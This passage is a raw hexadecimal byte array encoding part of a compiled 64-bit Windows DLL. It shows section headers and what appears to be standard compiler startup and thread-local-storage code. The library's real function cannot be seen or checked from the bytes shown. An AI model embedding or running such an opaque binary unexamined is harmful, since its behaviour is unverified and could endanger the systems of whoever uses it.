0xd4, 0x01, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, + 0x2e, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xb0, 0x01, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2e, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xc0, + 0x2e, 0x65, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2e, 0x69, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0xd8, 0x08, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, + 0x2e, 0x74, 0x6c, 0x73, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xc0, 0x2e, 0x72, 0x65, 0x6c, 0x6f, 0x63, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4d, 0x10, 0x89, + 0x55, 0x18, 0x4c, 0x89, 0x45, 0x20, 0x83, 0x7d, 0x18, 0x00, 0x75, 0x25, 0x8b, 0x05, 0xde, 0x6f, + 0x00, 0x00, 0x85, 0xc0, 0x7e, 0x11, 0x8b, 0x05, 0xd4, 0x6f, 0x00, 0x00, 0x83, 0xe8, 0x01, 0x89, + 0x05, 0xcb, 0x6f, 0x00, 0x00, 0xeb, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0xa5, 0x02, 0x00, + 0x00, 0x83, 0x7d, 0x18, 0x01, 0x0f, 0x85, 0x94, 0x01, 0x00, 0x00, 0x48, 0xc7, 0x45, 0xd8, 0x00, + 0x00, 0x00, 0x00, 0xc7, 0x45, 0xcc, 0x30, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xcc, 0x65, 0x67, 0x48, + 0x8b, 0x00, 0x48, 0x89, 0x45, 0xc0, 0x48, 0x8b, 0x45, 0xc0, 0x48, 0x8b, 0x40, 0x08, 0x48, 0x89, + 0x45, 0xd0, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xf8, 0x00, 0x00, 0x00, 0x00, + 0xeb, 0x21, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x3b, 0x45, 0xd0, 0x75, 0x09, 0xc7, 0x45, 0xfc, 0x01, + 0x00, 0x00, 0x00, 0xeb, 0x45, 0xb9, 0xe8, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x6f, 0x92, 0x00, + 0x00, 0xff, 0xd0, 0x48, 0x8b, 0x05, 0x16, 0x32, 0x00, 0x00, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8b, + 0x45, 0xd0, 0x48, 0x89, 0x45, 0xb0, 0x48, 0xc7, 0x45, 0xa8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x4d, 0xb0, 0x48, 0x8b, 0x45, 0xa8, 0x48, 0x8b, 0x55, 0xb8, 0xf0, 0x48, 0x0f, 0xb1, 0x0a, 0x48, + 0x89, 0x45, 0xd8, 0x48, 0x83, 0x7d, 0xd8, 0x00, 0x75, 0xa8, 0x48, 0x8b, 0x05, 0xef, 0x31, 0x00, + 0x00, 0x8b, 0x00, 0x85, 0xc0, 0x74, 0x0a, 0xb9, 0x1f, 0x00, 0x00, 0x00, 0xe8, 0xef, 0x17, 0x00, + 0x00, 0x48, 0x8b, 0x05, 0xd8, 0x31, 0x00, 0x00, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xfd, + 0x0d, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x06, 0x6f, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x46, 0x18, + 0x00, 0x00, 0x89, 0x45, 0xf8, 0x83, 0x7d, 0xf8, 0x00, 0x75, 0x49, 0x48, 0x8b, 0x15, 0xee, 0x31, + 0x00, 0x00, 0x48, 0x8b, 0x05, 0xd7, 0x31, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x37, 0x18, 0x00, + 0x00, 0x89, 0x45, 0xf8, 0x83, 0x7d, 0xf8, 0x00, 0x75, 0x2d, 0x48, 0x8b, 0x15, 0xaf, 0x31, 0x00, + 0x00, 0x48, 0x8b, 0x05, 0x98, 0x31, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x10, 0x18, 0x00, 0x00, + 0xe8, 0xa2, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x74, 0x31, 0x00, 0x00, 0xc7, 0x00, 0x02, 0x00, + 0x00, 0x00, 0xeb, 0x04, 0x90, 0xeb, 0x01, 0x90, 0x83, 0x7d, 0xfc, 0x00, 0x75, 0x1e, 0x48, 0x8b, + 0x05, 0x4b, 0x31, 0x00, 0x00, 0x48, 0x89, 0x45, 0xa0, 0x48, 0xc7, 0x45, 0x98, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x55, 0x98, 0x48, 0x8b, 0x45, 0xa0, 0x48, 0x87, 0x10, 0x83, 0x7d, 0xf8, 0x00, + 0x74, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x4a, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xed, + 0x30, 0x00, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x20, 0x48, 0x8b, 0x05, 0xde, 0x30, + 0x00, 0x00, 0x4c, 0x8b, 0x08, 0x48, 0x8b, 0x55, 0x20, 0x48, 0x8b, 0x45, 0x10, 0x49, 0x89, 0xd0, + 0xba, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x41, 0xff, 0xd1, 0x8b, 0x05, 0x2f, 0x6e, 0x00, + 0x00, 0x83, 0xc0, 0x01, 0x89, 0x05, 0x26, 0x6e, 0x00, 0x00, 0xe9, 0x02, 0x01, 0x00, 0x00, 0x83, + 0x7d, 0x18, 0x00, 0x0f, 0x85, 0xf8, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0xe8, 0x00, 0x00, 0x00, + 0x00, 0xc7, 0x45, 0x94, 0x30, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x94, 0x65, 0x67, 0x48, 0x8b, 0x00, + 0x48, 0x89, 0x45, 0x88, 0x48, 0x8b, 0x45, 0x88, 0x48, 0x8b, 0x40, 0x08, 0x48, 0x89, 0x45, 0xe0, + 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x21, 0x48, 0x8b, 0x45, 0xe8, 0x48, 0x3b, 0x45, + 0xe0, 0x75, 0x09, 0xc7, 0x45, 0xf4, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x51, 0xb9, 0xe8, 0x03, 0x00, + 0x00, 0x48, 0x8b, 0x05, 0xd8, 0x90, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8b, 0x05, 0x7f, 0x30, 0x00, + 0x00, 0x48, 0x89, 0x45, 0x80, 0x48, 0x8b, 0x45, 0xe0, 0x48, 0x89, 0x85, 0x78, 0xff, 0xff, 0xff, + 0x48, 0xc7, 0x85, 0x70, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x78, 0xff, + 0xff, 0xff, 0x48, 0x8b, 0x85, 0x70, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x55, 0x80, 0xf0, 0x48, 0x0f, + 0xb1, 0x0a, 0x48, 0x89, 0x45, 0xe8, 0x48, 0x83, 0x7d, 0xe8, 0x00, 0x75, 0x9c, 0x48, 0x8b, 0x05, + 0x4c, 0x30, 0x00, 0x00, 0x8b, 0x00, 0x83, 0xf8, 0x02, 0x74, 0x0a, 0xb9, 0x1f, 0x00, 0x00, 0x00, + 0xe8, 0x4b, 0x16, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x74, 0x6d, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, + 0xa4, 0x16, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x25, 0x30, 0x00, 0x00, 0xc7, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x83, 0x7d, 0xf4, 0x00, 0x75, 0x2a, 0x48, 0x8b, 0x05, 0x02, 0x30, 0x00, 0x00, 0x48, 0x89, + 0x85, 0x68, 0xff, 0xff, 0xff, 0x48, 0xc7, 0x85, 0x60, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x95, 0x60, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x85, 0x68, 0xff, 0xff, 0xff, 0x48, 0x87, + 0x10, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xc0, 0x00, 0x00, 0x00, 0x5d, 0xc3, 0x55, + 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x48, 0x89, 0x4d, 0x10, 0x89, 0x55, 0x18, 0x4c, 0x89, + 0x45, 0x20, 0xc7, 0x45, 0xfc, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x90, 0x2f, 0x00, 0x00, + 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x93, 0x2f, 0x00, 0x00, 0x8b, 0x55, 0x18, + 0x89, 0x10, 0x83, 0x7d, 0x18, 0x00, 0x75, 0x16, 0x8b, 0x05, 0xd2, 0x6c, 0x00, 0x00, 0x85, 0xc0, + 0x7f, 0x0c, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0xe9, 0xab, 0x00, 0x00, 0x00, 0x83, 0x7d, + 0x18, 0x01, 0x74, 0x06, 0x83, 0x7d, 0x18, 0x02, 0x75, 0x1f, 0x48, 0x8b, 0x4d, 0x20, 0x8b, 0x55, + 0x18, 0x48, 0x8b, 0x45, 0x10, 0x49, 0x89, 0xc8, 0x48, 0x89, 0xc1, 0xe8, 0xa0, 0xfc, 0xff, 0xff, + 0x89, 0x45, 0xfc, 0x83, 0x7d, 0xfc, 0x00, 0x74, 0x7c, 0x48, 0x8b, 0x4d, 0x20, 0x8b, 0x55, 0x18, + 0x48, 0x8b, 0x45, 0x10, 0x49, 0x89, 0xc8, 0x48, 0x89, 0xc1, 0xe8, 0x21, 0x16, 0x00, 0x00, 0x89, + 0x45, 0xfc, 0x83, 0x7d, 0x18, 0x01, 0x75, 0x36, 0x83, 0x7d, 0xfc, 0x00, 0x75, 0x30, 0x48, 0x8b, + 0x55, 0x20, 0x48, 0x8b, 0x45, 0x10, 0x49, 0x89, 0xd0, 0xba, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, + 0xc1, 0xe8, 0xfa, 0x15, 0x00, 0x00, 0x48, 0x8b, 0x55, 0x20, 0x48, 0x8b, 0x45, 0x10, 0x49, 0x89, + 0xd0, 0xba, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x42, 0xfc, 0xff, 0xff, 0x83, 0x7d, + 0x18, 0x00, 0x74, 0x06, 0x83, 0x7d, 0x18, 0x03, 0x75, 0x1e, 0x48, 0x8b, 0x4d, 0x20, 0x8b, 0x55, + 0x18, 0x48, 0x8b, 0x45, 0x10, 0x49, 0x89, 0xc8, 0x48, 0x89, 0xc1, 0xe8, 0x20, 0xfc, 0xff, 0xff, + 0x89, 0x45, 0xfc, 0xeb, 0x04, 0x90, 0xeb, 0x01, 0x90, 0x48, 0x8b, 0x05, 0xc0, 0x2e, 0x00, 0x00, + 0xc7, 0x00, 0xff, 0xff, 0xff, 0xff, 0x8b, 0x45, 0xfc, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0x55, + 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x89, 0x4d, 0x10, 0x48, 0x8b, 0x45, 0x10, 0x48, + 0x8d, 0x0d, 0xfa, 0x6b, 0x00, 0x00, 0x48, 0x89, 0xc2, 0xe8, 0x52, 0x15, 0x00, 0x00, 0x48, 0x83, + 0xc4, 0x20, 0x5d, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0xc3, 0x0f, 0x1f, 0x40, 0x00, 0x66, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x31, 0xc0, 0xc3, 0x66, 0x90, 0x66, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x55, 0x53, 0x48, 0x83, 0xec, 0x38, 0x48, 0x8d, 0x6c, 0x24, 0x30, 0x48, 0x8d, 0x0d, 0x9e, 0x2b, + 0x00, 0x00, 0xff, 0x15, 0x48, 0x8e, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x85, 0xc0, 0x74, 0x70, + 0x48, 0x8d, 0x0d, 0x89, 0x2b, 0x00, 0x00, 0xff, 0x15, 0x73, 0x8e, 0x00, 0x00, 0x4c, 0x8b, 0x0d, + 0x34, 0x8e, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x88, 0x2b, 0x00, 0x00, 0x48, 0x89, 0xd9, 0x48, 0x89, + 0x05, 0xab, 0x6b, 0x00, 0x00, 0x4c, 0x89, 0x4d, 0xf0, 0x41, 0xff, 0xd1, 0x48, 0x8d, 0x15, 0x86, + 0x2b, 0x00, 0x00, 0x48, 0x89, 0xd9, 0x48, 0x89, 0x45, 0xf8, 0xff, 0x55, 0xf0, 0x4c, 0x8b, 0x45, + 0xf8, 0x48, 0x89, 0x05, 0x48, 0x1b, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x74, 0x11, 0x48, 0x8d, 0x15, + 0x9c, 0x6b, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x35, 0x3b, 0x00, 0x00, 0x41, 0xff, 0xd0, 0x48, 0x8d, + 0x0d, 0x2b, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x38, 0x5b, 0x5d, 0xe9, 0x1f, 0xff, 0xff, 0xff, + 0x48, 0x8d, 0x05, 0x59, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x05, 0x42, 0xff, 0xff, 0xff, 0x48, 0x89, + 0x05, 0x0b, 0x1b, 0x00, 0x00, 0xeb, 0xc6, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x05, 0xf1, 0x1a, 0x00, 0x00, 0x48, + 0x85, 0xc0, 0x74, 0x09, 0x48, 0x8d, 0x0d, 0xe5, 0x3a, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8b, 0x0d, + 0x1c, 0x6b, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0f, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0x48, 0xff, + 0x25, 0x6b, 0x8d, 0x00, 0x00, 0x0f, 0x1f, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0x90, 0x90, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0xeb, 0x1e, 0x48, 0x8b, 0x05, 0xbf, 0x1a, 0x00, + 0x00, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0x8b, 0x05, 0xb3, 0x1a, 0x00, 0x00, 0x48, 0x83, 0xc0, + 0x08, 0x48, 0x89, 0x05, 0xa8, 0x1a, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xa1, 0x1a, 0x00, 0x00, 0x48, + 0x8b, 0x00, 0x48, 0x85, 0xc0, 0x75, 0xd3, 0x90, 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0x55, + 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0x05, 0xc2, 0x2c, 0x00, 0x00, 0x48, 0x8b, + 0x00, 0x89, 0x45, 0xfc, 0x83, 0x7d, 0xfc, 0xff, 0x75, 0x25, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, + 0x00, 0xeb, 0x04, 0x83, 0x45, 0xfc, 0x01, 0x8b, 0x45, 0xfc, 0x8d, 0x50, 0x01, 0x48, 0x8b, 0x05, + 0x9c, 0x2c, 0x00, 0x00, 0x89, 0xd2, 0x48, 0x8b, 0x04, 0xd0, 0x48, 0x85, 0xc0, 0x75, 0xe4, 0x8b, + 0x45, 0xfc, 0x89, 0x45, 0xf8, 0xeb, 0x14, 0x48, 0x8b, 0x05, 0x82, 0x2c, 0x00, 0x00, 0x8b, 0x55, + 0xf8, 0x48, 0x8b, 0x04, 0xd0, 0xff, 0xd0, 0x83, 0x6d, 0xf8, 0x01, 0x83, 0x7d, 0xf8, 0x00, 0x75, + 0xe6, 0x48, 0x8d, 0x05, 0x58, 0xff, 0xff, 0xff, 0x48, 0x89, 0xc1, 0xe8, 0x0f, 0xfe, 0xff, 0xff, + 0x90, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x8b, + 0x05, 0x9b, 0x6a, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x0f, 0xc7, 0x05, 0x8d, 0x6a, 0x00, 0x00, 0x01, + 0x00, 0x00, 0x00, 0xe8, 0x67, 0xff, 0xff, 0xff, 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0x90, + 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x30, 0x48, 0x89, 0x4d, 0x10, 0x89, 0x55, 0x18, 0x4c, + 0x89, 0x45, 0x20, 0x48, 0x8b, 0x05, 0x06, 0x2c, 0x00, 0x00, 0x8b, 0x00, 0x83, 0xf8, 0x02, 0x74, + 0x0d, 0x48, 0x8b, 0x05, 0xf8, 0x2b, 0x00, 0x00, 0xc7, 0x00, 0x02, 0x00, 0x00, 0x00, 0x83, 0x7d, + 0x18, 0x02, 0x74, 0x1e, 0x83, 0x7d, 0x18, 0x01, 0x75, 0x5b, 0x48, 0x8b, 0x4d, 0x20, 0x8b, 0x55, + 0x18, 0x48, 0x8b, 0x45, 0x10, 0x49, 0x89, 0xc8, 0x48, 0x89, 0xc1, 0xe8, 0x41, 0x0b, 0x00, 0x00, + 0xeb, 0x43, 0x48, 0x8d, 0x05, 0xef, 0x2d, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf8, 0x48, 0x83, 0x45, + 0xf8, 0x08, 0xeb, 0x22, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8b, 0x45, 0xf0, + 0x48, 0x8b, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x09, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x8b, 0x00, 0xff, + 0xd0, 0x48, 0x83, 0x45, 0xf8, 0x08, 0x48, 0x8d, 0x05, 0xc3, 0x2d, 0x00, 0x00, 0x48, 0x39, 0x45, + 0xf8, 0x75, 0xd1, 0xeb, 0x01, 0x90, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, + 0x48, 0x89, 0x4d, 0x10, 0x48, 0x83, 0x7d, 0x10, 0x00, 0x75, 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, + 0xeb, 0x05, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x5d, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, + 0x20, 0x48, 0x89, 0x4d, 0x10, 0x89, 0x55, 0x18, 0x4c, 0x89, 0x45, 0x20, 0x83, 0x7d, 0x18, 0x03, + 0x74, 0x06, 0x83, 0x7d, 0x18, 0x00, 0x75, 0x18, 0x48, 0x8b, 0x4d, 0x20, 0x8b, 0x55, 0x18, 0x48, + 0x8b, 0x45, 0x10, 0x49, 0x89, 0xc8, 0x48, 0x89, 0xc1, 0xe8, 0xa3, 0x0a, 0x00, 0x00, 0xeb, 0x01, + 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x55, 0x53, 0x48, 0x83, 0xec, 0x38, 0x48, 0x8d, 0x6c, 0x24, 0x30, 0x48, 0x89, 0x4d, 0x20, 0x48, + 0x89, 0x55, 0x28, 0x4c, 0x89, 0x45, 0x30, 0x4c, 0x89, 0x4d, 0x38, 0x48, 0x8d, 0x45, 0x28, 0x48, + 0x89, 0x45, 0xf8, 0xb9, 0x02, 0x00, 0x00, 0x00, 0xe8, 0xe3, 0x11, 0x00, 0x00, 0x48, 0x89, 0xc1, + 0x48, 0x8d, 0x05, 0x69, 0x29, 0x00, 0x00, 0x48, 0x89, 0xc2, 0xe8, 0x11, 0x11, 0x00, 0x00, 0x48, + 0x8b, 0x5d, 0xf8, 0xb9, 0x02, 0x00, 0x00, 0x00, 0xe8, 0xc3, 0x11, 0x00, 0x00, 0x48, 0x89, 0xc1, + 0x48, 0x8b, 0x45, 0x20, 0x49, 0x89, 0xd8, 0x48, 0x89, 0xc2, 0xe8, 0x31, 0x10, 0x00, 0x00, 0xe8, + 0xf4, 0x11, 0x00, 0x00, 0x90, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x60, 0x48, 0x89, 0x4d, + 0x10, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x82, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x0d, + 0x3c, 0x69, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, + 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, 0x48, 0x01, 0xc8, 0x48, 0x8b, 0x40, 0x18, 0x48, + 0x39, 0x45, 0x10, 0x72, 0x56, 0x48, 0x8b, 0x0d, 0x14, 0x69, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, + 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, + 0x48, 0x01, 0xc8, 0x48, 0x8b, 0x48, 0x18, 0x4c, 0x8b, 0x05, 0xf2, 0x68, 0x00, 0x00, 0x8b, 0x45, + 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, + 0xe0, 0x03, 0x4c, 0x01, 0xc0, 0x48, 0x8b, 0x40, 0x20, 0x8b, 0x40, 0x08, 0x89, 0xc0, 0x48, 0x01, + 0xc8, 0x48, 0x39, 0x45, 0x10, 0x0f, 0x82, 0x41, 0x02, 0x00, 0x00, 0x83, 0x45, 0xfc, 0x01, 0x8b, + 0x05, 0xc3, 0x68, 0x00, 0x00, 0x39, 0x45, 0xfc, 0x0f, 0x8c, 0x6f, 0xff, 0xff, 0xff, 0x48, 0x8b, + 0x45, 0x10, 0x48, 0x89, 0xc1, 0xe8, 0x61, 0x0c, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x83, + 0x7d, 0xf0, 0x00, 0x75, 0x13, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x8d, 0x0d, 0x90, 0x28, 0x00, 0x00, + 0x48, 0x89, 0xc2, 0xe8, 0xc8, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0x81, 0x68, 0x00, 0x00, 0x8b, + 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, + 0xc1, 0xe0, 0x03, 0x48, 0x8d, 0x14, 0x01, 0x48, 0x8b, 0x45, 0xf0, 0x48, 0x89, 0x42, 0x20, 0x48, + 0x8b, 0x0d, 0x5a, 0x68, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, + 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, 0x48, 0x01, 0xc8, 0xc7, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xe8, 0x3f, 0x0d, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x45, 0xf0, 0x8b, + 0x40, 0x0c, 0x41, 0x89, 0xc1, 0x4c, 0x8b, 0x05, 0x24, 0x68, 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, + 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, + 0x4c, 0x01, 0xc0, 0x4a, 0x8d, 0x14, 0x09, 0x48, 0x89, 0x50, 0x18, 0x48, 0x8b, 0x0d, 0xfe, 0x67, + 0x00, 0x00, 0x8b, 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 0xe0, 0x02, 0x48, + 0x01, 0xd0, 0x48, 0xc1, 0xe0, 0x03, 0x48, 0x01, 0xc8, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8d, 0x55, + 0xc0, 0x41, 0xb8, 0x30, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0x48, 0x8b, 0x05, 0x17, 0x8a, 0x00, + 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x75, 0x3f, 0x48, 0x8b, 0x0d, 0xc1, 0x67, 0x00, 0x00, 0x8b, + 0x45, 0xfc, 0x48, 0x63, 0xd0, 0x48, 0x89, 0xd0, 0x48, 0xc1, 